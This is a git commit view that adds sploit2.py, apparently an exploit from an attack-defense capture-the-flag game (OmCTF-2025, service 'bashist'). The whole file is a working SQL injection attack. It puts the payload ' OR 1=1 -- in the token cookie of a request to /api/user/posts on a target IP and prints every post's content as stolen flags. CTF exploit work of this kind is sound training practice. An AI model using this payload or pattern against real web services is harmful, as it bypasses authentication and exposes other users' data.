adding validated services? patching forcad_local.py
This commit is contained in:
11
OmCTF-2025/sploits/bashist/sploit2.py
Normal file
11
OmCTF-2025/sploits/bashist/sploit2.py
Normal file
@@ -0,0 +1,11 @@
|
||||
import sys
|
||||
import requests
|
||||
|
||||
ip = sys.argv[1]
|
||||
|
||||
base_url = f"http://{ip}:1599"
|
||||
|
||||
r = requests.get(f"{base_url}/api/user/posts", cookies={"token": "'%20OR%201=1%20--"})
|
||||
flags = [post["content"] for post in r.json()]
|
||||
for flag in flags:
|
||||
print(flag)
|
||||
Reference in New Issue
Block a user